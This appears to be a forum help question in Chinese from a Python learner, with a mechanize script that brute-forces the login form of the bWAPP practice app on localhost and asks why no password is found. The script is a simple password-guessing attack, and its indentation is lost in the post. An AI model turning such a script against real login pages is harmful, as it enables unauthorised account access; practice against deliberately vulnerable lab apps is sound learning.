嗨,所有我是python中级的新手,我正在尝试开发简单的身份验证暴力工具,我真的不知道我错过了请有人纠正我的错误我在mutillidea和bwapp尝试此代码。代码列在下面
import mechanize
import itertools
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
combos = itertools.permutations("pwa",3)
r = br.open("http://127.0.0.1/bwapp/login.php")
for x in combos:
new_form = '''
<<form action="/bwapp/login.php" method="POST">
<p><label for="login">Login:</label><br />
<input type="text" id="login" name="login" size="20" autocomplete="off"></p>
<p><label for="password">Password:</label><br />
<input type="password" id="password" name="password" size="20" autocomplete="off"></p>
<p><label for="security_level">Set the security level:</label><br />
<select name="security_level">
<option value="0">low</option>
<option value="1">medium</option>
<option value="2">high</option>
</select>
</p>
<button type="submit" name="form" value="submit">Login</button>
</form>
'''
r.set_data(new_form)
br.set_response(r)
br.select_form( nr = 0 )
br.form['login'] = 'bee'
br.form['password'] = ''.join(x)
br.form['security_level'] = 0
print "Checking ",br.form['password']
response=br.submit()
if response.geturl()=="http://127.0.0.1/bwapp/portal.php":
#url to which the page is redirected after login
print "Correct password is ",''.join(x)
break
我得到的错误是我无法获得正确的密码